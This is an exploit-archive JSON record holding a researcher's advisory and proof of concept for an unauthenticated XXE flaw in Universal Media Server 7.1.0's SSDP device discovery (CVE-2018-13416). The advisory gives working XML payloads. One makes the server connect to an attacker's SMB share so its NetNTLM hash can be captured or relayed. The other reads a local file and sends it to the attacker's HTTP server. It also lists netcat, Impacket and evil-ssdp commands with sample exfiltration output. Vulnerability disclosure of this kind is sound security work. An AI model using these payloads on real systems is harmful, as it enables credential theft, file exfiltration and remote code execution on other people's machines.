{"exploit":{"id":"EDB-45133","name":"Universal Media Server 7.1.0 - Unauthenticated SSDP Processing XML External Entity (XXE)","description":"Universal Media Server 7.1.0 - Unauthenticated SSDP Processing XML External Entity (XXE)","cves":["CVE-2018-13416"],"author":"Chris Moberly","published":"2018-08-02","platform":"xml","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45133","path":"exploits/xml/webapps/45133.md","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45133.md","vulnerabilities":[{"id":"CVE-2018-13416","state":"PUBLISHED","title":null,"titleSource":null,"description":"In Universal Media Server (UMS) 7.1.0, the XML parsing engine for SSDP/UPnP functionality is vulnerable to an XML External Entity Processing (XXE) attack. Remote, unauthenticated attackers can use this vulnerability to: (1) Access arbitrary files from the filesystem with the same permission as the user account running UMS, (2) Initiate SMB connections to capture a NetNTLM challenge/response and crack to cleartext password, or (3) Initiate SMB connections to relay a NetNTLM challenge/response and achieve Remote Command Execution in Windows domains.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-13416","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-13416"},"updatedAt":"2024-08-05T09:00:35.133Z","retrievedAt":"2026-11-27T12:09:10.437Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45133.png?v=2","url":"https://exploitbin.com/exploits/EDB-45133","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45133/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45133/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Issue: Out-of-Band XXE in Universal Media Server's SSDP Processing\nReserved CVE: CVE-2018-13416\n\n# Vulnerability Overview\nThe XML parsing engine for Universal Media Server's SSDP/UPNP functionality is vulnerable to an XML External Entity Processing (XXE) attack. Unauthenticated attackers on the same LAN can use this vulnerability to:\n\n- Access arbitrary files from the filesystem with the same permission as the user account running UMS.\n- Initiate SMB connections to capture NetNTLM challenge/response and crack to clear-text password.\n- Initiate SMB connections to relay NetNTLM challenge/response and achieve Remote Command Execution in Windows domains.\n\nExploitation can be demonstrated using evil-ssdp (https://gitlab.com/initstring/evil-ssdp).\n\n# Discovered By\nChris Moberly @ The Missing Link Security\n\n# Vendor Status\nUMS team responded to notification within an hour, patch in progress.\n\n# Vulnerability Details\nAtack type: Remote, unauthenticated\nImpact: Information disclosure up to code execution\nAffected component: UMS's SSDP discovery / XML parsing\nOperating Systems affected: Verified Windows 10 (likely all versions)\nUMS version affected: Tested on 7.1.0 (current as of July 2018). Older versions likely also vulnerable.\nAttack vector: XXE\n\n# Technical Overview\nUMS, like many other media servers, will attempt to discover other devices on a local network. The discovery process is handled by Simple Service Discovery Protocol (SSDP), which sends a UDP multicast out to 239.255.255.250 on port 1900. This is the first step in finding and adding Universal Plug and Play (UPNP) devices.\n\nWe can reply to that UDP multicast directly on the same port that the request initiated from, informing this client that we have a shared device. When we do this, we provide the location of an XML file containing more information about our device. This is called a Device Descriptor.\n\nUMS will automatically access the Device Descriptor over HTTP, parsing the XML content. This is expected behaviour for SSDP/UPNP.\n\nBy hosting a specially crafted XML file at that location, we can force UMS to do several things. The POC used to prove this vulnerability (POC 1 below) contained the following XML content:\n\n```\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM \"file://///$smbServer/smb/hash.jpg\" >\n<!ENTITY xxe-url SYSTEM \"http://$localIp:$localPort/ssdp/xxe.html\" >\n]>\n<hello>&xxe;&xxe-url;</hello>\n<root>\n    <specVersion>\n        <major>1</major>\n        <minor>0</minor>\n    </specVersion>\n    <device>\n```\n\nWhen UMS parses this, it does two things:\n\n1. Accesses the SMB share running at the $smbServer variable. This allows us to collect or relay the NetNTLM challenge/response.\n2. Accesses an HTTP server at the $localIp variable. This is used for verification purposes while testing the vulnerability.\n\nThe unexpected behaviour here is the ability to provide the `ENTITY` tags, forcing UMS to automatically access file paths and HTTP URLs.\n\n# POC 1: Capcturing NetNTLM Challenge/Response\nThis is a common attack method inside a Windows domain, where compromising an account can assist with moving laterally through the network.\n\nThis vulnerability can be easily validated using the [evil-ssdp tool found here](https://gitlab.com/initstring/evil-ssdp).\n\nThe process is:\n\n1. Execute the evil-ssdp tool as follows from a Linux host:\n\n```\nessdp.py eth0 -t xxe-smb    # instructs tool to use the 'xxe' template for zero-day hunting\n```\n\n2. From the same Linux host, either launch a simple netcat listener like this:\n\n```\nsudo nc -nlvp 445\n```\n\nor use Impacket to listen and extract the NetNTLM challenge/response as follows:\n\n```\nsudo python examples/smbserver.py smb /tmp/smb/\n```\n\n3. From a Windows host on the same network, simply restart UMS. evil-ssdp will display messages like the following:\n\n```\n[XML REQUEST]  Host: 10.0.200.10, User-Agent: UMS/7.1.0 Windows10/10.0 UPnP/1.0 Cling/2.0\n               GET /ssdp/device-desc.xml\n```\n\nWhen that happens, either the netcat listener or the Impacket SMB server will receive the connection. If using Impacket, you will now have the NetNTLM challenge/response of the user running UMS. This can be cracked to clear-text using tools like Hashcat. Alternatively, you can use Impacket to relay that hash to another machine on the network, achieving remote code execution.\n\n# POC 2: Accessing Arbitrary Files\nIf an attacker knows specifically what files they are looking for, this same vulnerability can be used to extract that information. Essentially, an XML entity will be defined as a variable, storing the output of a file on the machine where UMS is installed. Then, an HTTP request will be sent to the attacker's machine that includes that variable. The attacker will be able to see this file in their HTTP server logs.\n\nWe need two files hosted on the attacking server to do this. The initial Device Descriptor sent is:\n\n```\n<!DOCTYPE data[\n<!ENTITY % file SYSTEM \"file:///C:/users/public/pwned.txt\">\n<!ENTITY % dtd SYSTEM \"http://$localIp:$localPort/ssdp/data.dtd\">\n%dtd;\n]>\n<data>&send;</data>\n```\n\nWhich triggers another connection request to the following data.dtd file:\n\n```\n<!ENTITY % all \"<!ENTITY send SYSTEM 'http://$localIp:$localPort/?exfiltrated=%file;'>\">\n%all;\n```\n\nWe can also verify this using the evil-ssdp tool, using the 'xxe-exfil' template. For this POC, only extraction of 1-line files was found to be possible.\n\nTo reproduce:\n\n1. Create a test file 'C:\\Users\\Public\\pwned.txt' on the Windows hosts where UMS is installed. Please 1 line of text with no whitespaces inside, like this:\n\n```\nsecretstuff!\n```\n\n2. Execute the evil-ssdp tool as follows from a Linux host on the same network:\n\n```\nessdp.py eth0 -t xxe-exfil    # instructs tool to use the 'xxe-exfil' template for zero-day hunting\n```\n\n3. Back on the Windows host, simply restart UMS. evil-ssdp will display messages like the following\n\n```\n[XML REQUEST]  Host: 10.0.200.10, User-Agent: UMS/7.1.0 Windows10/10.0 UPnP/1.0 Cling/2.0\n               GET /ssdp/device-desc.xml\n[XXE VULN!!!!] Host: 10.0.200.10, User-Agent: Java/1.8.0_171\n               GET /ssdp/data.dtd\n[EXFILTRATION] Host: 10.0.200.10, User-Agent: Java/1.8.0_171\n               GET /?exfiltrated=secretstuff!\n```","sha256":"4e2700c574047fc5aa04323a2e0929e022b9a125b52f70fe3c6ae3ca3f9e53f2","bytes":6270,"fetchedAt":"2026-11-27T12:09:10.205Z","encoding":"utf-8 (display only; download retains original bytes)"}